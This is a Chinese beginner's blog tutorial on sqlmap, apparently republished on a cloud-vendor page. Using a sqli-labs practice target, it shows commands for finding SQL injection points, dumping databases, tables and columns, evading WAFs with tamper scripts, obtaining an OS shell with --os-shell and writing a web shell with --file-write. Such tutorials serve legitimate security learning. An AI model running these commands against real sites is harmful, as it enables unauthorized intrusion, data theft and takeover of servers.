一篇博客带你从零基础学会使用sqlmap

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: 一篇博客带你从零基础学会使用sqlmap

写在前面:


   说实话对sqlmap的使用我也是刚开始学,以前是在查询框或者hackbar或者直接在URL里面写SQL语句进行SQL注入,sqlmap大大简化了手工注入的操作和难度,我也是刚接触,但确实很好用,目前我所认知的一个大概的整体框架就是:


sqlmap -u "网站URL/?注入点=1" 后面再追加一些常用参数即可


不必记住每个参数,记一些常用的就行,知道这个sqlmap大概怎么个用法就好了,而且每次遇到的注入情况也不一样。


更加详细的手工注入流程(实战CTF例题讲解)可以参考我的另一篇博客http://t.csdn.cn/pccO8


sqlmap是用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器权限,包括获取数据库中存储的数据,访问操作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。


常用参数


sqlmap输入结果时会用到-v参数,,有7个等级,默认的等级是1,详细如下:

0:只显示Python的tracebacks信息,错误信息和关键信息。

1:显示普通信息【INFO】和警告信息【WARNING】。

2:同时显示调试信息【DEBUG】。

3:同时显示注入使用的攻击载荷。

4:同时显示HTTP请求。

5:同时显示HTTP响应头。

6:同时显示HTTP响应体。


   sqlmap中level等级分为1~5,默认情况下等级为1,检查Cookie时等级最少为2,检查User-Agent时等级最少为3,5级包含的Payload最多,会自动破解出Cookie、XFF等头部注入,对应它的速度也比较慢。

   sqlmap中risk等级分为0~3,默认情况下等级为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3时会增加or语句的SQL注入测试。

   sglmap支持以下5种不同的注入模式:基于布尔的盲注,即可以根据返回页面判断条件真假的注入:基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回时间是否增加);基于报错注入,即页面会返回错误信息,或者把注入语句的结果直接返回在页面中;联合查询注入,可以使用UNION情况下的注入;堆查询注入,可以同时执行多条语句执行时的注入。



在MySQL数据库中,它一般会用以下语句:

检测注入点:sqlmap -u "www.test.com/?id=1"

指定检测参数:sqlmap -u "www.test.com/?id=1&page=2" -p id

识别数据库类型:sqlmap -u "www.test.com/?id=1" -f

识别数据库版本:sqlmap -u "www.test.com/?id=1" -b


在此,我以sqllabs来演示部分语句:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1"

检测过程中我们可能会遇到一些询问,直接选择Y即可

进行这样的一个检测后,sqlmap给出了很多payload,比如我们尝试下面这个

直接爆出了一串password

列出当前数据库:sqlmap -u "www.test.com/?id=1" --current-db

列出所有数据库:sqlmap -u "www.test.com/?id=1" --dbs

列出指定数据库的表:sqlmap -u "www.test.com/?id=1" -D test --tables

列出指定表的字段:sqlmap -u "www.test.com/?id=1" -D test -T user --columns

避开waf等设备:sqlmap -u "www.test.com/?id=1" --tamper xxx.py


(sqlmap自带的Python文件在tamper目录下)


同样,以sqllabs靶场中第一题为例:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --dbs  

发现它有一个mysql数据库,我们尝试列出mysql这个数据库中的表

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D mysql --tables


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D func -T user --columns

获取交互式shell:


sqlmap -u "www.test.com/?id=1"--os-shell


需要具备三个条件:


必须是数据库root权限;已经获取网站的路径;GPC设置为off。


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --os-shell


指定注入模式:

sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)

B:Boolean-based blind SQL injection(布尔型注入)。

E:Error-based SQL injection(报错型注入)。

U:UNION query SQL injection(可联合查询注入)。

S: Stacked queries SQL injection(可多语句查询注入)。

T: Time-based blind SQL injection(基于时间延迟注入)。


比如我们这里指定布尔型注入:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --technique B  

补充:

file协议写shell:

sqlmap -u "www.test.com/?id=1" --file-write"本地文件" --file-dest "网站绝对路径+文件名"


在检测POST型注入的时候一般会将POST包放入一个txt文档里

检测注入点如下:

sqlmap -r tets.txt


Cookie型注入:

sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
区块链 Python
图片转ico
图片转ico
543 0
|
前端开发 Java
SpringBoot导入和导出Csv文件(二十八)下
SpringBoot导入和导出Csv文件(二十八)下
2955 0
SpringBoot导入和导出Csv文件(二十八)下
|
机器学习/深度学习 自然语言处理 算法
7.1.3、使用飞桨实现基于LSTM的情感分析模型
该文章介绍了如何使用飞桨(PaddlePaddle)实现基于长短时记忆网络(LSTM)的情感分析模型,包括数据处理、网络定义、模型训练、评估和预测的详细步骤。
|
机器学习/深度学习 人工智能 前端开发
【AI系统】AI 编译器基本架构
本文承接前文关于AI编译器发展的三个阶段,深入探讨通用AI编译器架构。文章首先回顾现有AI编译器架构,如PyTorch的转换流程及优化策略,然后介绍理想化的通用AI编译器架构,涵盖从前端接收多框架模型输入到后端生成特定硬件代码的全过程。重点解析了编译器的中间表达IR、前端与后端优化技术,以及现有AI编译器全栈产品的层次结构,为读者提供了全面的技术概览。
578 2
|
人工智能 自然语言处理 API
深入浅出LangChain与智能Agent:构建下一代AI助手
LangChain为大型语言模型提供了一种全新的搭建和集成方式,通过这个强大的框架,我们可以将复杂的技术任务简化,让创意和创新更加易于实现。本文从LangChain是什么到LangChain的实际案例到智能体的快速发展做了全面的讲解。
283022 62
深入浅出LangChain与智能Agent:构建下一代AI助手
|
安全 测试技术 Linux
浅谈黑客赚钱黑产
浅谈黑客赚钱黑产
|
自然语言处理 安全 网络安全
WBCE CMS v1.5.2 远程命令执行(CVE-2022-25099)
WBCE CMS v1.5.2 远程命令执行(CVE-2022-25099)
|
算法 定位技术
最优化方法(最速下降、牛顿法、高斯牛顿法、LM算法)
最优化方法(最速下降、牛顿法、高斯牛顿法、LM算法)
1274 0
最优化方法(最速下降、牛顿法、高斯牛顿法、LM算法)
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
8716 0
|
安全 网络安全 PHP
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)